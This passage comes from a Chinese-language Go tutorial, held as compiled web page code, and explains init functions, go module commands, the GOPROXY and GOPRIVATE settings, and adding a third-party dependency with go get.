"github.com/go-sql-driver/mysql"\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u533f\u540d\u5f15\u5165\u7684\u5305\u4e0e\u5176\u4ed6\u65b9\u5f0f\u5bfc\u5165\u7684\u5305\u4e00\u6837\u90fd\u4f1a\u88ab\u7f16\u8bd1\u5230\u53ef\u6267\u884c\u6587\u4ef6\u4e2d\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0cGo\u8bed\u8a00\u4e2d\u4e0d\u5141\u8bb8\u5f15\u5165\u5305\u5374\u4e0d\u5728\u4ee3\u7801\u4e2d\u4f7f\u7528\u8fd9\u4e2a\u5305\u7684\u5185\u5bb9\uff0c\u5982\u679c\u5f15\u5165\u4e86\u672a\u4f7f\u7528\u7684\u5305\u5219\u4f1a\u89e6\u53d1\u7f16\u8bd1\u9519\u8bef\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"init\u521d\u59cb\u5316\u51fd\u6570",children:"init\u521d\u59cb\u5316\u51fd\u6570"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u6bcf\u4e00\u4e2aGo\u6e90\u6587\u4ef6\u4e2d\uff0c\u90fd\u53ef\u4ee5\u5b9a\u4e49\u4efb\u610f\u4e2a\u5982\u4e0b\u683c\u5f0f\u7684\u7279\u6b8a\u51fd\u6570\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"func init(){\n // ...\n}\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u8fd9\u79cd\u7279\u6b8a\u7684\u51fd\u6570\u4e0d\u63a5\u6536\u4efb\u4f55\u53c2\u6570\u4e5f\u6ca1\u6709\u4efb\u4f55\u8fd4\u56de\u503c\uff0c\u6211\u4eec\u4e5f\u4e0d\u80fd\u5728\u4ee3\u7801\u4e2d\u4e3b\u52a8\u8c03\u7528\u5b83\u3002\u5f53\u7a0b\u5e8f\u542f\u52a8\u7684\u65f6\u5019\uff0cinit\u51fd\u6570\u4f1a\u6309\u7167\u5b83\u4eec\u58f0\u660e\u7684\u987a\u5e8f\u81ea\u52a8\u6267\u884c\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u4e00\u4e2a\u5305\u7684\u521d\u59cb\u5316\u8fc7\u7a0b\u662f\u6309\u7167\u4ee3\u7801\u4e2d\u5f15\u5165\u7684\u987a\u5e8f\u6765\u8fdb\u884c\u7684\uff0c\u6240\u6709\u5728\u8be5\u5305\u4e2d\u58f0\u660e\u7684",(0,i.jsx)(e.code,{children:"init"}),"\u51fd\u6570\u90fd\u5c06\u88ab\u4e32\u884c\u8c03\u7528\u5e76\u4e14\u4ec5\u8c03\u7528\u6267\u884c\u4e00\u6b21\u3002\u6bcf\u4e00\u4e2a\u5305\u521d\u59cb\u5316\u7684\u65f6\u5019\u90fd\u662f\u5148\u6267\u884c\u4f9d\u8d56\u7684\u5305\u4e2d\u58f0\u660e\u7684",(0,i.jsx)(e.code,{children:"init"}),"\u51fd\u6570\u518d\u6267\u884c\u5f53\u524d\u5305\u4e2d\u58f0\u660e\u7684",(0,i.jsx)(e.code,{children:"init"}),"\u51fd\u6570\u3002\u786e\u4fdd\u5728\u7a0b\u5e8f\u7684",(0,i.jsx)(e.code,{children:"main"}),"\u51fd\u6570\u5f00\u59cb\u6267\u884c\u65f6\u6240\u6709\u7684\u4f9d\u8d56\u5305\u90fd\u5df2\u521d\u59cb\u5316\u5b8c\u6210\u3002",(0,i.jsx)(e.img,{src:"https://www.liwenzhou.com/images/Go/package/package01.png",alt:"\u5305\u521d\u59cb\u5316\u51fd\u6570\u6267\u884c\u987a\u5e8f\u793a\u610f\u56fe"})]}),"\n",(0,i.jsxs)(e.p,{children:["\u6bcf\u4e00\u4e2a\u5305\u7684\u521d\u59cb\u5316\u662f\u5148\u4ece\u521d\u59cb\u5316\u5305\u7ea7\u522b\u53d8\u91cf\u5f00\u59cb\u7684\u3002\u4f8b\u5982\u4ece\u4e0b\u9762\u7684\u793a\u4f8b\u4e2d\u6211\u4eec\u5c31\u53ef\u4ee5\u770b\u51fa\u5305\u7ea7\u522b\u53d8\u91cf\u7684\u521d\u59cb\u5316\u4f1a\u5148\u4e8e",(0,i.jsx)(e.code,{children:"init"}),"\u521d\u59cb\u5316\u51fd\u6570\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport "fmt"\n\nvar x int8 = 10\n\nconst pi = 3.14\n\nfunc init() {\n fmt.Println("x:", x)\n fmt.Println("pi:", pi)\n sayHi()\n}\n\nfunc sayHi() {\n\tfmt.Println("Hello World!")\n}\n\nfunc main() {\n\tfmt.Println("\u4f60\u597d\uff0c\u4e16\u754c\uff01")\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"x: 10\npi: 3.14\nHello World!\n\u4f60\u597d\uff0c\u4e16\u754c\uff01\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u4e0a\u9762\u7684\u4ee3\u7801\u4e2d\uff0c\u6211\u4eec\u4e86\u89e3\u4e86Go\u8bed\u8a00\u4e2d\u5305\u7684\u5b9a\u4e49\u53ca\u5305\u7684\u521d\u59cb\u5316\u8fc7\u7a0b\uff0c\u8fd9\u8ba9\u6211\u4eec\u80fd\u591f\u5728\u5f00\u53d1\u65f6\u6309\u7167\u81ea\u5df1\u7684\u9700\u8981\u5b9a\u4e49\u5305\u3002\u540c\u65f6\u6211\u4eec\u8fd8\u5b66\u5230\u4e86\u5982\u4f55\u5728\u6211\u4eec\u7684\u4ee3\u7801\u4e2d\u5f15\u5165\u5176\u5b83\u7684\u5305\uff0c\u4e0d\u8fc7\u5728\u672c\u5c0f\u8282\u7684\u6240\u6709\u793a\u4f8b\u4e2d\u6211\u4eec\u90fd\u662f\u5f15\u5165Go\u5185\u7f6e\u7684\u5305\u3002\u73b0\u4ee3\u7f16\u7a0b\u8bed\u8a00\u5927\u591a\u90fd\u5141\u8bb8\u5f00\u53d1\u8005\u5bf9\u5916\u53d1\u5e03\u5305/\u5e93\uff0c\u4e5f\u652f\u6301\u5f00\u53d1\u8005\u5728\u81ea\u5df1\u7684\u4ee3\u7801\u4e2d\u5f15\u5165\u7b2c\u4e09\u65b9\u5e93\u3002\u8fd9\u6837\u7684\u8bbe\u8ba1\u80fd\u591f\u8ba9\u5e7f\u5927\u5f00\u53d1\u8005\u4e00\u8d77\u53c2\u4e0e\u5230\u8bed\u8a00\u7684\u751f\u6001\u73af\u5883\u5efa\u8bbe\u5f53\u4e2d\uff0c\u628a\u751f\u6001\u5efa\u8bbe\u7684\u66f4\u52a0\u5b8c\u5584\u3002"}),"\n",(0,i.jsx)(e.h2,{id:"go-module",children:"go module"}),"\n",(0,i.jsx)(e.p,{children:"\u5728Go\u8bed\u8a00\u7684\u65e9\u671f\u7248\u672c\u4e2d\uff0c\u6211\u4eec\u7f16\u5199Go\u9879\u76ee\u4ee3\u7801\u65f6\u6240\u4f9d\u8d56\u7684\u6240\u6709\u7b2c\u4e09\u65b9\u5305\u90fd\u9700\u8981\u4fdd\u5b58\u5728GOPATH\u8fd9\u4e2a\u76ee\u5f55\u4e0b\u9762\u3002\u8fd9\u6837\u7684\u4f9d\u8d56\u7ba1\u7406\u65b9\u5f0f\u5b58\u5728\u4e00\u4e2a\u81f4\u547d\u7684\u7f3a\u9677\uff0c\u90a3\u5c31\u662f\u4e0d\u652f\u6301\u7248\u672c\u7ba1\u7406\uff0c\u540c\u4e00\u4e2a\u4f9d\u8d56\u5305\u53ea\u80fd\u5b58\u5728\u4e00\u4e2a\u7248\u672c\u7684\u4ee3\u7801\u3002\u53ef\u662f\u6211\u4eec\u672c\u5730\u7684\u591a\u4e2a\u9879\u76ee\u5b8c\u5168\u53ef\u80fd\u5206\u522b\u4f9d\u8d56\u540c\u4e00\u4e2a\u7b2c\u4e09\u65b9\u5305\u7684\u4e0d\u540c\u7248\u672c\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"go-module\u4ecb\u7ecd",children:"go module\u4ecb\u7ecd"}),"\n",(0,i.jsx)(e.p,{children:"Go module \u662f Go1.11 \u7248\u672c\u53d1\u5e03\u7684\u4f9d\u8d56\u7ba1\u7406\u65b9\u6848\uff0c\u4ece Go1.14 \u7248\u672c\u5f00\u59cb\u63a8\u8350\u5728\u751f\u4ea7\u73af\u5883\u4f7f\u7528\uff0c\u4e8eGo1.16\u7248\u672c\u9ed8\u8ba4\u5f00\u542f\u3002Go module \u63d0\u4f9b\u4e86\u4ee5\u4e0b\u547d\u4ee4\u4f9b\u6211\u4eec\u4f7f\u7528\uff1a"}),"\n",(0,i.jsx)(e.p,{children:"go module\u76f8\u5173\u547d\u4ee4"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u547d\u4ee4"}),(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u4ecb\u7ecd"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"go mod init"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u521d\u59cb\u5316\u9879\u76ee\u4f9d\u8d56\uff0c\u751f\u6210go.mod\u6587\u4ef6"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"go mod download"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u6839\u636ego.mod\u6587\u4ef6\u4e0b\u8f7d\u4f9d\u8d56"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"go mod tidy"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u6bd4\u5bf9\u9879\u76ee\u6587\u4ef6\u4e2d\u5f15\u5165\u7684\u4f9d\u8d56\u4e0ego.mod\u8fdb\u884c\u6bd4\u5bf9"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"go mod graph"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u8f93\u51fa\u4f9d\u8d56\u5173\u7cfb\u56fe"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"go mod edit"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u7f16\u8f91go.mod\u6587\u4ef6"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"go mod vendor"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u5c06\u9879\u76ee\u7684\u6240\u6709\u4f9d\u8d56\u5bfc\u51fa\u81f3vendor\u76ee\u5f55"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"go mod verify"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u68c0\u9a8c\u4e00\u4e2a\u4f9d\u8d56\u5305\u662f\u5426\u88ab\u7be1\u6539\u8fc7"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"go mod why"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u89e3\u91ca\u4e3a\u4ec0\u4e48\u9700\u8981\u67d0\u4e2a\u4f9d\u8d56"})]})]})]}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u5728 go module \u7684\u8fc7\u6e21\u9636\u6bb5\u63d0\u4f9b\u4e86 ",(0,i.jsx)(e.code,{children:"GO111MODULE"})," \u8fd9\u4e2a\u73af\u5883\u53d8\u91cf\u6765\u4f5c\u4e3a\u662f\u5426\u542f\u7528 go module \u529f\u80fd\u7684\u5f00\u5173\uff0c\u8003\u8651\u5230 Go1.16 \u4e4b\u540e go module \u5df2\u7ecf\u9ed8\u8ba4\u5f00\u542f\uff0c\u6240\u4ee5\u672c\u4e66\u4e0d\u518d\u4ecb\u7ecd\u8be5\u914d\u7f6e\uff0c\u5bf9\u4e8e\u521a\u63a5\u89e6Go\u8bed\u8a00\u7684\u8bfb\u8005\u800c\u8a00\u5b8c\u5168\u6ca1\u6709\u5fc5\u8981\u4e86\u89e3\u8fd9\u4e2a\u5386\u53f2\u5305\u88b1\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"GOPROXY"})}),"\n",(0,i.jsx)(e.p,{children:"\u8fd9\u4e2a\u73af\u5883\u53d8\u91cf\u4e3b\u8981\u662f\u7528\u4e8e\u8bbe\u7f6e Go \u6a21\u5757\u4ee3\u7406\uff08Go module proxy\uff09\uff0c\u5176\u4f5c\u7528\u662f\u7528\u4e8e\u4f7f Go \u5728\u540e\u7eed\u62c9\u53d6\u6a21\u5757\u7248\u672c\u65f6\u80fd\u591f\u8131\u79bb\u4f20\u7edf\u7684 VCS \u65b9\u5f0f\uff0c\u76f4\u63a5\u901a\u8fc7\u955c\u50cf\u7ad9\u70b9\u6765\u5feb\u901f\u62c9\u53d6\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["GOPROXY \u7684\u9ed8\u8ba4\u503c\u662f\uff1a",(0,i.jsx)(e.code,{children:"https://proxy.golang.org,direct"}),"\uff0c\u7531\u4e8e\u67d0\u4e9b\u539f\u56e0\u56fd\u5185\u65e0\u6cd5\u6b63\u5e38\u8bbf\u95ee\u8be5\u5730\u5740\uff0c\u6240\u4ee5\u6211\u4eec\u901a\u5e38\u9700\u8981\u914d\u7f6e\u4e00\u4e2a\u53ef\u8bbf\u95ee\u7684\u5730\u5740\u3002\u76ee\u524d\u793e\u533a\u4f7f\u7528\u6bd4\u8f83\u591a\u7684\u6709\u4e24\u4e2a",(0,i.jsx)(e.code,{children:"https://goproxy.cn"}),"\u548c",(0,i.jsx)(e.code,{children:"https://goproxy.io"}),"\uff0c\u5f53\u7136\u5982\u679c\u4f60\u7684\u516c\u53f8\u6709\u63d0\u4f9bGOPROXY\u5730\u5740\u90a3\u4e48\u5c31\u76f4\u63a5\u4f7f\u7528\u3002\u8bbe\u7f6eGOPAROXY\u7684\u547d\u4ee4\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"go env -w GOPROXY=https://goproxy.cn,direct\n"})}),"\n",(0,i.jsx)(e.p,{children:"GOPROXY \u5141\u8bb8\u8bbe\u7f6e\u591a\u4e2a\u4ee3\u7406\u5730\u5740\uff0c\u591a\u4e2a\u5730\u5740\u4e4b\u95f4\u9700\u4f7f\u7528\u82f1\u6587\u9017\u53f7 \u201c,\u201d \u5206\u9694\u3002\u6700\u540e\u7684 \u201cdirect\u201d \u662f\u4e00\u4e2a\u7279\u6b8a\u6307\u793a\u7b26\uff0c\u7528\u4e8e\u6307\u793a Go \u56de\u6e90\u5230\u6e90\u5730\u5740\u53bb\u6293\u53d6\uff08\u6bd4\u5982 GitHub \u7b49\uff09\u3002\u5f53\u914d\u7f6e\u6709\u591a\u4e2a\u4ee3\u7406\u5730\u5740\u65f6\uff0c\u5982\u679c\u7b2c\u4e00\u4e2a\u4ee3\u7406\u5730\u5740\u8fd4\u56de 404 \u6216 410 \u9519\u8bef\u65f6\uff0cGo \u4f1a\u81ea\u52a8\u5c1d\u8bd5\u4e0b\u4e00\u4e2a\u4ee3\u7406\u5730\u5740\uff0c\u5f53\u9047\u89c1 \u201cdirect\u201d \u65f6\u89e6\u53d1\u56de\u6e90\uff0c\u4e5f\u5c31\u662f\u56de\u5230\u6e90\u5730\u5740\u53bb\u6293\u53d6\u3002"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"GOPRIVATE"})}),"\n",(0,i.jsx)(e.p,{children:"\u8bbe\u7f6e\u4e86GOPROXY \u4e4b\u540e\uff0cgo \u547d\u4ee4\u5c31\u4f1a\u4ece\u914d\u7f6e\u7684\u4ee3\u7406\u5730\u5740\u62c9\u53d6\u548c\u6821\u9a8c\u4f9d\u8d56\u5305\u3002\u5f53\u6211\u4eec\u5728\u9879\u76ee\u4e2d\u5f15\u5165\u4e86\u975e\u516c\u5f00\u7684\u5305\uff08\u516c\u53f8\u5185\u90e8git\u4ed3\u5e93\u6216 github \u79c1\u6709\u4ed3\u5e93\u7b49\uff09\uff0c\u6b64\u65f6\u4fbf\u65e0\u6cd5\u6b63\u5e38\u4ece\u4ee3\u7406\u62c9\u53d6\u5230\u8fd9\u4e9b\u975e\u516c\u5f00\u7684\u4f9d\u8d56\u5305\uff0c\u8fd9\u4e2a\u65f6\u5019\u5c31\u9700\u8981\u914d\u7f6e GOPRIVATE \u73af\u5883\u53d8\u91cf\u3002GOPRIVATE\u7528\u6765\u544a\u8bc9 go \u547d\u4ee4\u54ea\u4e9b\u4ed3\u5e93\u5c5e\u4e8e\u79c1\u6709\u4ed3\u5e93\uff0c\u4e0d\u5fc5\u901a\u8fc7\u4ee3\u7406\u670d\u52a1\u5668\u62c9\u53d6\u548c\u6821\u9a8c\u3002"}),"\n",(0,i.jsx)(e.p,{children:"GOPRIVATE \u7684\u503c\u4e5f\u53ef\u4ee5\u8bbe\u7f6e\u591a\u4e2a\uff0c\u591a\u4e2a\u5730\u5740\u4e4b\u95f4\u4f7f\u7528\u82f1\u6587\u9017\u53f7 \u201c,\u201d \u5206\u9694\u3002\u6211\u4eec\u901a\u5e38\u4f1a\u628a\u81ea\u5df1\u516c\u53f8\u5185\u90e8\u7684\u4ee3\u7801\u4ed3\u5e93\u8bbe\u7f6e\u5230 GOPRIVATE \u4e2d\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'$ go env -w GOPRIVATE="git.mycompany.com"\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u6837\u5728\u62c9\u53d6\u4ee5",(0,i.jsx)(e.code,{children:"git.mycompany.com"}),"\u4e3a\u8def\u5f84\u524d\u7f00\u7684\u4f9d\u8d56\u5305\u65f6\u5c31\u80fd\u6b63\u5e38\u62c9\u53d6\u4e86\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u6b64\u5916\uff0c\u5982\u679c\u516c\u53f8\u5185\u90e8\u81ea\u5efa\u4e86 GOPROXY \u670d\u52a1\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u8bbe\u7f6e ",(0,i.jsx)(e.code,{children:"GONOPROXY=none"}),"\uff0c\u5141\u8bb8\u901a\u5185\u90e8\u4ee3\u7406\u62c9\u53d6\u79c1\u6709\u4ed3\u5e93\u7684\u5305\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u4f7f\u7528go-module\u5f15\u5165\u5305",children:"\u4f7f\u7528go module\u5f15\u5165\u5305"}),"\n",(0,i.jsx)(e.p,{children:"\u63a5\u4e0b\u6765\u6211\u4eec\u5c06\u901a\u8fc7\u4e00\u4e2a\u793a\u4f8b\u6765\u6f14\u793a\u5982\u4f55\u5728\u5f00\u53d1\u9879\u76ee\u65f6\u4f7f\u7528 go module \u62c9\u53d6\u548c\u7ba1\u7406\u9879\u76ee\u4f9d\u8d56\u3002"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u521d\u59cb\u5316\u9879\u76ee"})," \u6211\u4eec\u5728\u672c\u5730\u65b0\u5efa\u4e00\u4e2a\u540d\u4e3a",(0,i.jsx)(e.code,{children:"holiday"}),"\u9879\u76ee\uff0c\u6309\u5982\u4e0b\u65b9\u5f0f\u521b\u5efa\u4e00\u4e2a\u540d\u4e3a",(0,i.jsx)(e.code,{children:"holiday"}),"\u7684\u6587\u4ef6\u5939\u5e76\u5207\u6362\u5230\u8be5\u76ee\u5f55\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"$ mkdir holiday\n$ cd holiday\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u76ee\u524d\u6211\u4eec\u4f4d\u4e8e",(0,i.jsx)(e.code,{children:"holiday"}),"\u6587\u4ef6\u5939\u4e0b\uff0c\u63a5\u4e0b\u6765\u6267\u884c\u4e0b\u9762\u7684\u547d\u4ee4\u521d\u59cb\u5316\u9879\u76ee\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"$ go mod init holiday\ngo: creating new go.mod: module holiday\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8be5\u547d\u4ee4\u4f1a\u81ea\u52a8\u5728\u9879\u76ee\u76ee\u5f55\u4e0b\u521b\u5efa\u4e00\u4e2a",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\uff0c\u5176\u5185\u5bb9\u5982\u4e0b\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"module holiday\n\ngo 1.16\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"module holiday\uff1a\u5b9a\u4e49\u5f53\u524d\u9879\u76ee\u7684\u5bfc\u5165\u8def\u5f84"}),"\n",(0,i.jsx)(e.li,{children:"go 1.16\uff1a\u6807\u8bc6\u5f53\u524d\u9879\u76ee\u4f7f\u7528\u7684 Go \u7248\u672c"}),"\n"]}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u4f1a\u8bb0\u5f55\u9879\u76ee\u4f7f\u7528\u7684\u7b2c\u4e09\u65b9\u4f9d\u8d56\u5305\u4fe1\u606f\uff0c\u5305\u62ec\u5305\u540d\u548c\u7248\u672c\uff0c\u7531\u4e8e\u6211\u4eec\u7684",(0,i.jsx)(e.code,{children:"holiday"}),"\u9879\u76ee\u76ee\u524d\u8fd8\u6ca1\u6709\u4f7f\u7528\u5230\u7b2c\u4e09\u65b9\u4f9d\u8d56\u5305\uff0c\u6240\u4ee5",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u6682\u65f6\u8fd8\u6ca1\u6709\u8bb0\u5f55\u4efb\u4f55\u4f9d\u8d56\u5305\u4fe1\u606f\uff0c\u53ea\u6709\u5f53\u524d\u9879\u76ee\u7684\u4e00\u4e9b\u4fe1\u606f\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u5728\u9879\u76ee\u76ee\u5f55\u4e0b\u65b0\u5efa\u4e00\u4e2a",(0,i.jsx)(e.code,{children:"main.go"}),"\u6587\u4ef6\uff0c\u5176\u5185\u5bb9\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'// holiday/main.go\n\npackage main\n\nimport "fmt"\n\nfunc main() {\n\tfmt.Println("\u73b0\u5728\u662f\u5047\u671f\u65f6\u95f4...")\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u7136\u540e\uff0c\u6211\u4eec\u7684",(0,i.jsx)(e.code,{children:"holiday"}),"\u9879\u76ee\u73b0\u5728\u9700\u8981\u5f15\u5165\u4e00\u4e2a\u7b2c\u4e09\u65b9\u5305",(0,i.jsx)(e.code,{children:"github.com/q1mi/hello"}),"\u6765\u5b9e\u73b0\u4e00\u4e9b\u5fc5\u8981\u7684\u529f\u80fd\u3002\u7c7b\u4f3c\u8fd9\u6837\u7684\u573a\u666f\u5728\u6211\u4eec\u7684\u65e5\u5e38\u5f00\u53d1\u4e2d\u662f\u5f88\u5e38\u89c1\u7684\u3002\u6211\u4eec\u9700\u8981\u5148\u5c06\u4f9d\u8d56\u5305\u4e0b\u8f7d\u5230\u672c\u5730\u540c\u65f6\u5728",(0,i.jsx)(e.code,{children:"go.mod"}),"\u4e2d\u8bb0\u5f55\u4f9d\u8d56\u4fe1\u606f\uff0c\u7136\u540e\u624d\u80fd\u5728\u6211\u4eec\u7684\u4ee3\u7801\u4e2d\u5f15\u5165\u5e76\u4f7f\u7528\u8fd9\u4e2a\u5305\u3002\u4e0b\u8f7d\u4f9d\u8d56\u5305\u4e3b\u8981\u6709\u4e24\u79cd\u65b9\u6cd5\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u7b2c\u4e00\u79cd\u65b9\u6cd5\u662f\u5728\u9879\u76ee\u76ee\u5f55\u4e0b\u6267\u884c",(0,i.jsx)(e.code,{children:"go get"}),"\u547d\u4ee4\u624b\u52a8\u4e0b\u8f7d\u4f9d\u8d56\u7684\u5305\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"holiday $ go get -u github.com/q1mi/hello\ngo get: added github.com/q1mi/hello v0.1.1\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u8fd9\u6837\u9ed8\u8ba4\u4f1a\u4e0b\u8f7d\u6700\u65b0\u7684\u53d1\u5e03\u7248\u672c\uff0c\u4f60\u4e5f\u53ef\u4ee5\u6307\u5b9a\u60f3\u8981\u4e0b\u8f7d\u6307\u5b9a\u7684\u7248\u672c\u53f7\u7684\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"holiday $ go get -u github.com/q1mi/hello@v0.1.0\ngo: downloading github.com/q1mi/hello v0.1.0\ngo get: downgraded github.com/q1mi/hello v0.1.1 => v0.1.0\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u4f9d\u8d56\u5305\u6ca1\u6709\u53d1\u5e03\u4efb\u4f55\u7248\u672c\u5219\u4f1a\u62c9\u53d6\u6700\u65b0\u7684\u63d0\u4ea4\uff0c\u6700\u7ec8",(0,i.jsx)(e.code,{children:"go.mod"}),"\u4e2d\u7684\u4f9d\u8d56\u4fe1\u606f\u4f1a\u53d8\u6210\u7c7b\u4f3c\u4e0b\u9762\u8fd9\u79cd\u7531\u9ed8\u8ba4v0.0.0\u7684\u7248\u672c\u53f7\u548c\u6700\u65b0\u4e00\u6b21commit\u7684\u65f6\u95f4\u548chash\u7ec4\u6210\u7684\u7248\u672c\u683c\u5f0f\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"require github.com/q1mi/hello v0.0.0-20210218074646-139b0bcd549d\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5982\u679c\u60f3\u6307\u5b9a\u4e0b\u8f7d\u67d0\u4e2acommit\u5bf9\u5e94\u7684\u4ee3\u7801\uff0c\u53ef\u4ee5\u76f4\u63a5\u6307\u5b9acommit hash\uff0c\u4e0d\u8fc7\u6ca1\u6709\u5fc5\u8981\u5199\u51fa\u5b8c\u6574\u7684commit hash\uff0c\u4e00\u822c\u524d7\u4f4d\u5373\u53ef\u3002\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"holiday $ go get github.com/q1mi/hello@2ccfadd\ngo: downloading github.com/q1mi/hello v0.1.2-0.20210219092711-2ccfaddad6a3\ngo get: added github.com/q1mi/hello v0.1.2-0.20210219092711-2ccfaddad6a3\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6b64\u65f6\uff0c\u6211\u4eec\u6253\u5f00",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u5c31\u53ef\u4ee5\u770b\u5230\u4e0b\u8f7d\u7684\u4f9d\u8d56\u5305\u53ca\u7248\u672c\u4fe1\u606f\u90fd\u5df2\u7ecf\u88ab\u8bb0\u5f55\u4e0b\u6765\u4e86\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"module holiday\n\ngo 1.16\n\nrequire github.com/q1mi/hello v0.1.0 // indirect\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u884c\u5c3e\u7684",(0,i.jsx)(e.code,{children:"indirect"}),"\u8868\u793a\u8be5\u4f9d\u8d56\u5305\u4e3a\u95f4\u63a5\u4f9d\u8d56\uff0c\u8bf4\u660e\u5728\u5f53\u524d\u7a0b\u5e8f\u4e2d\u7684\u6240\u6709 import \u8bed\u53e5\u4e2d\u6ca1\u6709\u53d1\u73b0\u5f15\u5165\u8fd9\u4e2a\u5305\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u53e6\u5916\u5728\u6267\u884c",(0,i.jsx)(e.code,{children:"go 